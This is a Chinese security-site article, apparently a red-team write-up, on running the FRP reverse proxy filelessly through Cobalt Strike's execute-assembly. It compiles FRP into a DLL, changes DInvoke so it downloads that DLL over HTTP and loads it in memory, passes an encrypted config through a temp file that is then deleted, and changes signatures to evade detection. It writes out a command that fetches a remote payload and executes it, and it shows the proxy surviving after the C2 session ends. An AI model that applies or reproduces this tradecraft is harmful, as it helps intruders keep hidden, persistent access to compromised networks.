freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Sangfor华中天慧:内存加载FRP的思考
T0ngF0ngNoe 2023-09-11 12:05:14 64757

0x0 思考

在应急中或者在红队之间对抗中,对于CS马和代理都是优先打击的目标。提高代理和马的隐蔽性,也由此至关重要,好了编不下去了,进入正题。

0X1 execute-assembly

在CS中存在这么一个模块,它可以允许从内存中读取shellcode并加载.NET程序集 或者从硬盘读取并加载.NET程序集。这样保证了程序不落地在内存中加载与执行

0X2 思路

由于execute-assembly的限制,只能加载1M内的程序,所以,直接加载FRP是不可行的。所以呢,让一个小于1M的程序,被execute-assembly加载执行,执行啥呢,执行内存加载frp。

大致的思路就是这样:

CS(execute-assembly) -> frpload.exe(memory load dll) -> frp.dll(online)

0X3 FRP生成DLL

将frp转为dll,进行标记

\frp\frp-0.35.1 -v1.5-dll\cmd\frpc\main.go

1694404635_64fe901b081493cda8c26.png!small?1694404636454

\frp-0.35.1 -v1.5-dll\cmd\frpc\sub\root.go

修改Execute函数,直接进入runClient,跳过rootCmd模块(获取参数)

1694404656_64fe90304a25293a28952.png!small?1694404657513

frp 编译成dll,大功告成。

go build -ldflags "-s -w" --buildmode=c-shared -trimpath -o main.dll main.go

0X4 验证一下

尝试使用.NET程序,常规加载下dll文件,看是否能够正常调用

1694404662_64fe90366ce81f5e60844.png!small?1694404663163

成功上线

1694404668_64fe903c2c95870da5852.png!small?1694404669072


0X5 内存加载dll

Git项目DInvoke,已经实现了内存加载dll,并调用dll功能

https://github.com/TheWover/DInvoke

修改部分代码,实现本地文件加载,和远程加载(不落地)

文件加载

参数化文件加载 --file xx.dll

1694404674_64fe90429b8fdbf91d25d.png!small?1694404675262

远程加载

参数化远程加载--url http://1.1.1.1/1.dll

1694404679_64fe9047844be507cda31.png!small?1694404679941

添加函数 MapModuleToMemoryUrl

1694404683_64fe904b256bbcbebf3a1.png!small?1694404683943

添加函数AllocateFileToMemoryUrl

1694404695_64fe90579fa2b36849cd6.png!small?1694404696012

添加函数Downloadbinarypefilebyhttp

1694404692_64fe9054f35a8dd374176.png!small?1694404694374

大功告成

0x6 试水

远程加载

1694404704_64fe9060f24860fd904d8.png!small?1694404705803

本地加载

1694404709_64fe9065618649c166730.png!small?1694404709582

CS尝试

1694404713_64fe906925d6afb484115.png!small?1694404714282

成功上线

在进程中,只有beacon.exe 起了子进程 调用rundll32

1694404725_64fe90751517ad95308cf.png!small?1694404726161

退出cs, 进程依然存在,frp 还活着

1694404732_64fe907c54f36de1f278c.png!small?1694404734361

0x7 参数化修改

由于C#加载器,在内存中加载dll文件,获取内存中dll 指定函数地址再进行调用,所以在参数传递这一块,尚未找到实现的手法。所以更换思路,将获取到的加密配置,直接落地到目的主机,让dll函数去读取加密的配置文件,然后再删除配置文件。从而实现参数化。

通过加密工具,对frp配置参数进行加密处理

效果演示

1694404738_64fe9082af0eeb8c8dec4.png!small?1694404738741

内存加载 加载器,加载器远程内存加载frp,将加密配置落地读取后删除。

execute-assembly DInvokeSU.exe --url http://192.168.124.1:8080/main.bin 加密配置 --key duxaz

1694404743_64fe9087732adaa905948.png!small?1694404744161

FRP读取配置

读取配置文件,随后删除配置,将加密配置传入Execute()

1694404747_64fe908bd5d63b2e0c344.png!small?1694404748412

修改结构体,将加密参数带入,后续调用函数

1694404751_64fe908fafa889ec6ab2f.png!small?1694404752502

加密配置,传入配置加载函数GetRenderedConfFromFile()

1694404756_64fe9094d3faa75510eb5.png!small?1694404757872

拼接配置文件,随后函数对配置数据进行赋值

1694404761_64fe9099c08b12dde5d0d.png!small?1694404764051

获取加密配置参数

参数获取加密配置参数,直接落地到Temp目录下,供frp读取

1694404763_64fe909bd6edbb53109c1.png!small?1694404764051

结束: 客户端和服务端均已经魔改,修改部分静态以及流量特征。

参考链接

https://github.com/TheWover/DInvoke

https://github.com/fatedier/frp

详细使用方式可查看:

https://github.com/T0ngF0ngnie/DInvokeFrp

# 工具 # 代理工具 # 红队攻防
本文为 T0ngF0ngNoe 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
T0ngF0ngNoe LV.1
这家伙太懒了,还未填写个人描述!
  • 1 文章数
  • 0 关注者
文章目录